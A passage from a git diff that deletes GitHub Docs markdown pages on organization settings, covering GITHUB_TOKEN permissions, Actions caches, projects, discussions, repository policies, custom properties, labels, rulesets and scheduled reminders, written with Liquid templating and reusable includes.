repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and a more restrictive default has been selected in the enterprise settings, you won't be able to select the more permissive default in your organization settings. - -{% data reusables.actions.workflow-permissions-modifying %} - -### Configuring the default `GITHUB_TOKEN` permissions - -By default, when you create a new organization,{% ifversion ghec or ghes %} the setting is inherited from what is configured in the enterprise settings.{% else %} `GITHUB_TOKEN` only has read access for the `contents` and `packages` scopes.{% endif %} - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.workflows.github-token-access %} -1. Click **Save** to apply the settings. - -### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests - -{% data reusables.actions.workflow-pr-approval-permissions-intro %} - -By default, when you create a new organization, workflows are not allowed to create or approve pull requests. - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests. -1. Click **Save** to apply the settings. - -## Managing {% data variables.product.prodname_actions %} cache storage for your organization - -Organization administrators can view {% ifversion ghes %}and manage {% endif %}{% data variables.product.prodname_actions %} cache storage for all repositories in the organization. - -### Viewing {% data variables.product.prodname_actions %} cache storage by repository - -For each repository in your organization, you can see how much cache storage a repository is using, the number of active caches, and if a repository is near the total cache size limit. For more information about the cache usage and eviction process, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#usage-limits-and-eviction-policy). - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, click **{% octicon "play" aria-hidden="true" %} Actions**, then click **Caches**. -1. Review the list of repositories for information about their {% data variables.product.prodname_actions %} caches. You can click on a repository name to see more detail about the repository's caches. - -{% ifversion ghes %} - -### Configuring {% data variables.product.prodname_actions %} cache storage for your organization - -{% data reusables.actions.cache-default-size %} - -You can configure the size limit for {% data variables.product.prodname_actions %} caches that will apply to each repository in your organization. The cache size limit for an organization cannot exceed the cache size limit set in the enterprise policy. Repository admins will be able to set a smaller limit in their repositories. - -{% data reusables.profile.access_profile %} -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-general %} -{% data reusables.actions.change-cache-size-limit %} - -{% endif %} diff --git a/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md b/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md deleted file mode 100644 index b4367b93bc1c..000000000000 --- a/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: 'Disabling projects in your organization' -intro: 'Organization owners can turn off organization-wide {% data variables.projects.projects_v2 %}, organization-wide {% data variables.projects.projects_v1_boards %}, and repository-level {% data variables.projects.projects_v1_boards %} in an organization.' -redirect_from: - - /github/managing-your-work-on-github/managing-project-boards/disabling-project-boards-in-your-organization - - /articles/disabling-project-boards-in-your-organization - - /github/managing-your-work-on-github/disabling-project-boards-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Disable projects -allowTitleToDifferFromFilename: true ---- -After you disable organization-wide projects, it won’t be possible to create new projects at the organization level, and any existing organization-level projects will become inaccessible at their previous URLs. {% ifversion projects-v2 and projects-v1 %}These settings apply to {% data variables.projects.projects_v2 %} and {% data variables.projects.projects_v1_boards %}.{% endif %}{% ifversion projects-v1 %} {% data variables.projects.projects_v1_boards_caps %} in repositories in the organization are not affected.{% endif %} - -{% ifversion projects-v1 %} - -After you disable repository-level {% data variables.projects.projects_v1_boards %} in an organization, it won't be possible to create new {% data variables.projects.projects_v1_boards %} in any repositories in the organization, and any existing {% data variables.projects.projects_v1_boards %} in repositories in the organization will become inaccessible at their previous URLs. {% data variables.projects.projects_v1_boards_caps %} at the organization level are not affected. - -When {% data variables.projects.projects_v1_boards %} are disabled, you will no longer see {% data variables.projects.projects_v1_board %} information in timelines or [audit logs](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization). - -{% endif %} - -## Disabling {% data variables.projects.projects_v2_and_v1 %} in your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "table" aria-hidden="true" %} Projects**. -1. Decide whether to disable {% data variables.projects.projects_v2_and_v1 %} in your organization. Then, under "Projects": - * To disable {% data variables.projects.projects_v2_and_v1 %}, deselect **Enable Projects for the organization**. - * To enable {% data variables.projects.projects_v2_and_v1 %} in the organization, select **Enable Projects for the organization**. -1. Click **Save**. - -If you decide to re-enable {% data variables.projects.projects_v2_and_v1 %}, any {% data variables.projects.projects_v2_and_v1 %} that were previously added will be available. - -{% ifversion projects-v1 %} - -## Managing {% data variables.projects.projects_v1_boards %} in your organization's repositories - -You can control whether organization members can create {% data variables.projects.projects_v1_boards %} in repositories in your organization. You can still disable {% data variables.projects.projects_v1_boards %} in individual repositories. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "table" aria-hidden="true" %} Projects**. -1. Decide whether to allow members to create {% data variables.projects.projects_v1_boards %} in repositories in your organization. Then, under "Projects (classic) only": - * To enable {% data variables.projects.projects_v1_boards %} in repositories, select **Allow members to enable {% data variables.product.prodname_projects_v1_caps %} for all repositories**. - * To disable {% data variables.projects.projects_v1_boards %} in repositories, deselect **Allow members to enable {% data variables.product.prodname_projects_v1_caps %} for all repositories**. -1. Click **Save**. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) -{% ifversion projects-v1 %}* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board) -* [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/deleting-a-project-board){% endif %} -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/disabling-project-boards-in-a-repository) diff --git a/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md b/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md deleted file mode 100644 index 28bb9498c7b7..000000000000 --- a/content/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Enabling or disabling GitHub Discussions for an organization -intro: 'You can use {% data variables.product.prodname_discussions %} in an organization as a place for your organization to have conversations that aren''t specific to a single repository within your organization.' -permissions: 'Organization owners can enable {% data variables.product.prodname_discussions %} for their organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations -shortTitle: Organization discussions ---- - -## About organization discussions - -{% data reusables.discussions.about-organization-discussions %} - -You can also manage repository discussions. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository) and [AUTOTITLE](/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization). - -## Enabling or disabling {% data variables.product.prodname_discussions %} for your organization - -{% data reusables.discussions.enabling-or-disabling-github-discussions-for-your-organization %} -1. To disable discussions, under "Discussions", deselect **Enable discussions for this organization**. - -## Further reading - -* [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions) -* [AUTOTITLE](/discussions/managing-discussions-for-your-community) diff --git a/content/organizations/managing-organization-settings/governing-how-people-use-repositories-in-your-organization.md b/content/organizations/managing-organization-settings/governing-how-people-use-repositories-in-your-organization.md deleted file mode 100644 index cbd2b645398e..000000000000 --- a/content/organizations/managing-organization-settings/governing-how-people-use-repositories-in-your-organization.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Governing how people use repositories in your organization -intro: "Create a repository policy to control who can do things like create and delete repositories." -permissions: Organization owners -versions: - feature: repo-policy-rules -type: how_to -topics: - - Repositories -shortTitle: Govern repository usage ---- - -{% data reusables.enterprise.repo-policy-rules-preview %} - -{% data reusables.enterprise.repo-policy-rules-intro %} - ->[!TIP] If you're an **enterprise owner**, you can create a repository policy that applies to multiple organizations. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise). - -## Examples - -{% data reusables.enterprise.repo-policy-rules-examples %} - -## How will I target repositories? - -{% data reusables.enterprise.repo-policy-rules-with-custom-properties %} - -As an alternative to custom properties, you can choose from a list of repositories or use `fnmatch` syntax to target repositories with certain naming patterns. - -## Interaction with other policies - -{% data reusables.enterprise.repo-policy-rules-with-existing-policies %} - -## Creating a repository policy - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. On the left side of the page, in the sidebar, click **{% octicon "law" aria-hidden="true" %} Policies**. -1. Under "Policies", click **Repository**. -1. Click **New policy**. -1. Configure your new policy, then click **Create**. For help, consult the following subsections. - -### Policy name - -Use something descriptive to communicate the purpose of the policy. For example: `Prevent public repos on production`. - -### Enforcement status - -{% data reusables.enterprise.repo-policy-rules-enforcement %} - -### Allow list - -{% data reusables.enterprise.repo-policy-rules-allow-list %} - -### Targets - -Choose which repositories in the organization the policy applies to. You can select all repositories, choose a selection of existing repositories, or create a dynamic rule by name or custom property for current and future repositories. - -If you set a dynamic list by name, you'll add one or more naming patterns using `fnmatch` syntax. -* For example, the string `*open-source` would match any repository with a name that ends with `open-source`. For syntax details, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-fnmatch-syntax). -* Optionally, you can prevent anyone outside the allow list from renaming the selected repositories. Alternatively, you can control the format of names in the "Policies" section. - -### Policies - -{% data reusables.enterprise.repo-policy-rules-policies-section %} diff --git a/content/organizations/managing-organization-settings/index.md b/content/organizations/managing-organization-settings/index.md deleted file mode 100644 index f6a1961c6a4e..000000000000 --- a/content/organizations/managing-organization-settings/index.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Managing organization settings -intro: 'Organization owners can change several settings, including the names of repositories that belong to the organization and Owners team membership. In addition, organization owners can delete the organization and all of its repositories.' -redirect_from: - - /articles/managing-organization-settings - - /github/setting-up-and-managing-organizations-and-teams/managing-organization-settings - - /organizations/managing-organization-settings/disabling-insights-for-projects-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /verifying-or-approving-a-domain-for-your-organization - - /renaming-an-organization - - /transferring-organization-ownership - - /governing-how-people-use-repositories-in-your-organization - - /restricting-repository-creation-in-your-organization - - /setting-permissions-for-deleting-or-transferring-repositories - - /restricting-repository-visibility-changes-in-your-organization - - /managing-the-forking-policy-for-your-organization - - /managing-pull-request-reviews-in-your-organization - - /disabling-or-limiting-github-actions-for-your-organization - - /about-networking-for-hosted-compute-products-in-your-organization - - /about-azure-private-networking-for-github-hosted-runners-in-your-organization - - /configuring-private-networking-for-github-hosted-runners-in-your-organization - - /troubleshooting-azure-private-network-configurations-for-github-hosted-runners-in-your-organization - - /configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-organization - - /setting-permissions-for-adding-outside-collaborators - - /allowing-people-to-delete-issues-in-your-organization - - /enabling-or-disabling-github-discussions-for-an-organization - - /managing-discussion-creation-for-repositories-in-your-organization - - /managing-the-commit-signoff-policy-for-your-organization - - /restricting-deploy-keys-in-your-organization - - /setting-team-creation-permissions-in-your-organization - - /creating-an-announcement-banner-for-your-organization - - /managing-scheduled-reminders-for-your-organization - - /managing-the-default-branch-name-for-repositories-in-your-organization - - /managing-default-labels-for-repositories-in-your-organization - - /changing-the-visibility-of-your-organizations-dependency-insights - - /managing-the-display-of-member-names-in-your-organization - - /managing-updates-from-accounts-your-organization-sponsors - - /managing-the-publication-of-github-pages-sites-for-your-organization - - /archiving-an-organization - - /deleting-an-organization-account - - /converting-an-organization-into-a-user - - /integrating-jira-with-your-organization-project-board - - /upgrading-to-the-github-customer-agreement - - /disabling-project-boards-in-your-organization - - /managing-base-permissions-for-projects - - /allowing-project-visibility-changes-in-your-organization - - /creating-rulesets-for-repositories-in-your-organization - - /managing-rulesets-for-repositories-in-your-organization - - /managing-custom-properties-for-repositories-in-your-organization -shortTitle: Manage organization settings ---- -{% ifversion fpt or ghec %} -{% endif %} diff --git a/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md b/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md deleted file mode 100644 index bfdca3a3810f..000000000000 --- a/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: 'Integrating Jira with your organization {% data variables.projects.projects_v1_board %}' -intro: 'You can integrate Jira Cloud with your organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.' -redirect_from: - - /articles/integrating-jira-with-your-organization-project-board - - /github/setting-up-and-managing-organizations-and-teams/integrating-jira-with-your-organization-project-board -versions: - ghes: '*' -shortTitle: Integrate Jira -allowTitleToDifferFromFilename: true ---- - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, select **{% octicon "code" aria-hidden="true" %} Developer settings**, then click **OAuth Apps**. -1. Click **New OAuth App**. -1. Under **Application name**, type "Jira". -1. Under **Homepage URL**, type the full URL to your Jira instance. -1. Under **Authorization callback URL**, type the full URL to your Jira instance. -1. Click **Register application**. -1. Under **Organization owned applications**, note the "Client ID" and "Client Secret" values. -{% data reusables.user-settings.jira_help_docs %} - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects) -* [Connect Jira Cloud to GitHub](https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html) in the Atlassian documentation diff --git a/content/organizations/managing-organization-settings/managing-base-permissions-for-projects.md b/content/organizations/managing-organization-settings/managing-base-permissions-for-projects.md deleted file mode 100644 index 10549208396b..000000000000 --- a/content/organizations/managing-organization-settings/managing-base-permissions-for-projects.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: 'Managing base permissions for {% data variables.projects.projects_v2 %}' -intro: 'Organization owners can configure a base permission for {% data variables.projects.projects_v2 %} created in their organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Projects -shortTitle: 'Manage {% data variables.projects.projects_v2 %} base permissions' -allowTitleToDifferFromFilename: true ---- - -## About base permissions for {% data variables.projects.projects_v2 %} - -You can set a project's base permission to control the level of access for all members of your organization. You can then specify individual and team permissions for each project in addition to the base permission. For more information on setting permissions for individual projects, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects). - -When you set the base permission for projects in your organization's settings, the base permission will apply to any new projects created by organization members and existing projects that do not currently have a base permission configured in the project's settings. - -> [!NOTE] -> {% data reusables.projects.migration-permissions-warning %} - -## Setting a base permission for {% data variables.projects.projects_v2 %} in your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Projects base permissions", select the dropdown menu and click a permissions level. -1. In the pop-up window, review the changes and number of projects that will be affected. To confirm, click **Change default permission to PERMISSION**. - -## Further reading - -* [AUTOTITLE](/issues/planning-and-tracking-with-projects/managing-your-project/managing-access-to-your-projects) diff --git a/content/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization.md b/content/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization.md deleted file mode 100644 index 11143118f53b..000000000000 --- a/content/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization.md +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Managing custom properties for repositories in your organization -intro: 'With custom properties, you can add metadata to repositories in your organization. You can use those properties to target repositories with rulesets.' -permissions: 'Organization owners {% ifversion custom-org-roles %}and users with the "Manage the organization''s custom properties definitions" permission {% endif %}can add and set a custom property schema at the organization level.' -versions: - feature: repository-properties -topics: - - Repositories -shortTitle: Custom properties ---- - -## About custom properties - -Custom properties allow you to decorate your repositories with information such as compliance frameworks, data sensitivity, or project details. Custom properties visibility follows the visibility of the repository. Custom properties on public repositories can viewed by anyone, while custom properties on internal or private repositories can be viewed by accounts with read permissions to the repository. -An organization can have up to 100 property definitions. An allowed value list can have up to 200 items. - -{% ifversion ghec or ghes %} -You can use repository properties to determine which repositories to target with a ruleset. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization#targeting-repositories-by-properties-in-your-organization). -{% endif %} - -{% ifversion ghec %} -You can define custom properties at the enterprise level to create a consistent experience across organizations. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/managing-custom-properties-for-repositories-in-your-enterprise). -{% endif %} - -## Allowed characters - -{% data reusables.repositories.custom-property-allowed-characters %} - -## Adding custom properties - -You can add custom properties to your organization and set values for those properties for repositories in your organization. - -{% ifversion ghec %}You can also use the REST API to create and manage custom properties for an organization. For more information, see [AUTOTITLE](/rest/orgs/custom-properties).{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-custom-properties %} -1. To add a new custom property, click **New property** in the upper right corner. -1. In the "Name" field, type the name you'd like to use for your custom property. The name can't contain spaces. -1. Optionally, in the "Description" field, fill in a description of your custom property. -1. Under "Type", select the type of property you'd like to add. This can either be a text string{% ifversion ghes < 3.15 %} or a single select field{% else %}, a single select field, a multi select field, or a true/false boolean{% endif %}. -1. Optionally, you can select **Allow repository actors to set this property**. When enabled, repository users and apps with the repository-level "custom properties" fine-grained permission will be able to set and update the property value for their repository. -1. Optionally, you can select **Require this property for all repositories** and add a default value. This means that you require that all repositories in your organization have a value for this property. Repositories that don’t have an explicit value for this property will inherit the default value. -1. Click **Save property**. - -## Setting values for repositories in your organization - -You{% ifversion custom-org-roles %}, and any users with the "Edit custom properties values at the organization level" permission,{% endif %} can set values for custom properties for repositories in your organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-custom-properties %} -1. Click the "Set values" tab. -1. Select one or more repositories from the list and click **{% octicon "pencil" aria-hidden="true" %} Edit properties**. - - ![Screenshot the page to set values for repositories. A button, labeled with a pencil icon and "Edit properties", is highlighted with an orange outline.](/assets/images/help/repository/edit-properties.png) - -1. In the modal dialog that appears, select a value for each property you'd like to set for the selected repositories. -1. Click **Save changes**. - -## Viewing values for repositories in your organization - -People with read permissions to a repository can view the values of custom properties for that repository, but they can't edit those values. - -{% ifversion ghec %}You can also use the REST API to list the custom properties assigned to a repository by your organization. For more information, see [AUTOTITLE](/rest/repos/custom-properties).{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Code and automation" section of the sidebar, click **{% octicon "tools" aria-hidden="true" %} Custom properties**. - -## Searching and filtering repositories by custom properties values - -You can search for repositories in your organization by custom properties values. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -1. Under your organization name, click **{% octicon "repo" aria-hidden="true" %} Repositories**. -1. In the search bar, type `prop` to see a list of all custom properties in your organization, and select the property you'd like to search by. diff --git a/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md b/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md deleted file mode 100644 index 33a8afab447a..000000000000 --- a/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Managing default labels for repositories in your organization -intro: You can customize the labels that are included in every new repository in your organization. -redirect_from: - - /articles/managing-default-labels-for-repositories-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/managing-default-labels-for-repositories-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage default labels ---- - -Organization owners can manage default labels for repositories in the organization. - -Default labels are included in every new repository in your organization, but anyone with write access to the repository can edit or delete the labels in that repository later. Adding, editing, or deleting a default label does not add, edit, or delete the label from existing repositories. - -## Creating a default label - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.repository-defaults %} -1. Under "Repository labels", click **New label**. -{% data reusables.project-management.name-label %} -{% data reusables.project-management.label-description %} -{% data reusables.project-management.label-color-randomizer %} -{% data reusables.project-management.create-label %} - -## Editing a default label - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.repository-defaults %} - -{% data reusables.project-management.edit-label %} -{% data reusables.project-management.name-label %} -{% data reusables.project-management.label-description %} -{% data reusables.project-management.label-color-randomizer %} -{% data reusables.project-management.save-label %} - -## Deleting a default label - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.repository-defaults %} - -{% data reusables.project-management.delete-label %} -{% data reusables.project-management.confirm-label-deletion %} - -## Further reading - -* [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels) diff --git a/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md b/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md deleted file mode 100644 index a47424e41dd7..000000000000 --- a/content/organizations/managing-organization-settings/managing-discussion-creation-for-repositories-in-your-organization.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Managing discussion creation for repositories in your organization -intro: You can choose the permission levels that members require to create discussions in repositories owned by your organization. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization -permissions: Organization owners can manage discussion creation for repositories owned by the organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage repository discussions ---- - - -## Allowing or disallowing users with read access to create discussions - -By default, organization members with read access can create discussions if a repository administrator or organization owner enables discussions for a repository owned by the organization. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. In the "Admin repository permissions" section, under "Repository discussions", select or deselect **Allow users with read access to create discussions**. -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions) -* [AUTOTITLE](/discussions/managing-discussions-for-your-community) -* [AUTOTITLE](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization) diff --git a/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md b/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md deleted file mode 100644 index a3403acc2ce9..000000000000 --- a/content/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Managing pull request reviews in your organization -intro: You can limit which users can approve or request changes to a pull requests in your organization. -versions: - feature: pull-request-approval-limit -permissions: Organization owners can limit which users can submit reviews that approve or request changes to a pull request. -topics: - - Organizations - - Pull requests -shortTitle: Manage pull request reviews ---- - -## About code review limits - -By default, in public repositories, any user can submit reviews that approve or request changes to a pull request. - -You can limit who is able to approve or request changes to pull requests in public repositories owned by your organization. After you enable code review limits, anyone can comment on pull requests in your public repositories, but only people with explicit access to a repository can approve a pull request or request changes. - -You can also enable code review limits for individual repositories. If you enable or limits for your organization, you will override any limits for individual repositories owned by the organization. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository). - -## Managing code review limits - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "report" aria-hidden="true" %} Moderation**. -1. Under "{% octicon "report" aria-hidden="true" %} Moderation", click **Code review limits**. -1. Review the information on screen. -1. Manage code review limits. - * To limit reviews to those with explicit access, click **Limit review on all repositories**. - * To remove the limits from every public repository in your organization, click **Remove review limits from all repositories**. diff --git a/content/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization.md b/content/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization.md deleted file mode 100644 index bb2c1b284816..000000000000 --- a/content/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Managing rulesets for repositories in your organization -intro: 'You can edit, monitor, and delete existing rulesets to alter how people can interact with repositories in your organization.' -versions: - feature: repo-rules-enterprise -permissions: 'Organization owners and users with the "Manage organization ref update rules and rulesets" permission can manage rulesets at the organization level.' -topics: - - Organizations -shortTitle: Manage rulesets ---- - -## About managing rulesets for an organization - -After creating a ruleset at the organization level, you can make changes to the ruleset to alter how people can interact with the targeted repositories. For example, you can add rules to better protect the branches or tags in those repositories, or you can switch your ruleset from "Evaluate" mode to "Active" after testing its effects on the contributor experience for your repositories. Organizational rulesets that apply to branches of a repository will no longer allow the repository administrator to rename branches of the targeted repository or change the default branch to another branch. Repository administrators may create and delete branches so long as they have the appropriate permissions. - -{% ifversion push-rule-delegated-bypass %} - -{% data reusables.repositories.about-push-rule-delegated-bypass %} - -{% endif %} - -You can use the REST and GraphQL APIs to manage rulesets. For more information, see [AUTOTITLE](/rest/orgs/rules) and [AUTOTITLE](/graphql/reference/mutations#createrepositoryruleset). - -{% data reusables.repositories.rulesets-anyone-can-view %} - -## Editing a ruleset - -{% data reusables.repositories.about-editing-rulesets %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -{% data reusables.repositories.edit-ruleset-steps %} - -## Deleting a ruleset - -{% data reusables.repositories.deleting-ruleset-tip %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -{% data reusables.repositories.delete-ruleset-steps %} - -{% ifversion repo-rules-management %} - -## Using ruleset history - -{% data reusables.repositories.ruleset-beta-note %} - -{% data reusables.repositories.ruleset-history-conceptual %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -{% data reusables.repositories.ruleset-history %} - -### Importing a ruleset - -You can import a ruleset from another repository or organization using the exported JSON file from the previous section. This can be useful if you want to apply the same ruleset to multiple repositories or organizations. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.access-ruleset-settings %} -{% data reusables.repositories.import-a-ruleset %} - -{% endif %} - -## Viewing insights for rulesets - -You can view insights for rulesets to see how rulesets are affecting the repositories in your organization. {% data reusables.repositories.about-ruleset-insights %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the left sidebar, in the "Code, planning, and automation" section, click **{% octicon "repo" aria-hidden="true" %} Repository**, then click **Rule insights**. - - ![Screenshot of an organization's settings page. In the sidebar, a link labeled "Rule insights" is outlined in orange.](/assets/images/help/organizations/sidebar-repository-rule-insights.png) - -1. On the "Rule insights" page, use the dropdown menus at the top of the page to filter the actions by ruleset, repository, actor, and time period. -{% data reusables.repositories.rulesets-view-rule-runs %} - -{% ifversion push-rule-delegated-bypass %} - -{% data reusables.repositories.managing-delegated-bypass %} - -{% endif %} diff --git a/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md b/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md deleted file mode 100644 index ec8a15e42a9e..000000000000 --- a/content/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Managing scheduled reminders for your organization -intro: You can get reminders in Slack for all pull requests that teams in your organization have been requested to review. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage scheduled reminders ---- - -## About scheduled reminders for pull requests - -{% data reusables.reminders.about-scheduled-reminders-teams-orgs %} - -Organization owners can schedule a reminder for one or more teams in their organization, for all pull requests the team or teams have been requested to review. - -{% data reusables.reminders.scheduled-reminders-limitations %} - -## Creating a scheduled reminder for an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.reminders.scheduled-reminders %} -{% data reusables.reminders.add-reminder %} -{% data reusables.reminders.authorize-slack %} -{% data reusables.reminders.slack-channel %} -{% data reusables.reminders.days-dropdown %} -{% data reusables.reminders.times-dropdowns %} -{% data reusables.reminders.tracked-repos %} -1. Under "Filter by team assigned to review code", select the **Add a team** dropdown menu and click one or more teams. You can add up to 100 teams. If the team you select doesn't have access to the "Tracked repositories" selected above, you won't be able to create the scheduled reminder. -{% data reusables.reminders.ignore-drafts %} -{% data reusables.reminders.no-review-requests %} -{% data reusables.reminders.author-reviews %} -{% data reusables.reminders.approved-prs %} -{% data reusables.reminders.min-age %} -{% data reusables.reminders.min-staleness %} -{% data reusables.reminders.ignored-terms %} -{% data reusables.reminders.ignored-labels %} -{% data reusables.reminders.required-labels %} -{% data reusables.reminders.create-reminder %} -{% data reusables.reminders.test-reminder %} - -## Managing a scheduled reminder for an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.reminders.scheduled-reminders %} -{% data reusables.reminders.edit-existing %} -{% data reusables.reminders.edit-page %} -{% data reusables.reminders.update-buttons %} -{% data reusables.reminders.test-reminder %} - -## Deleting a scheduled reminder for an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data 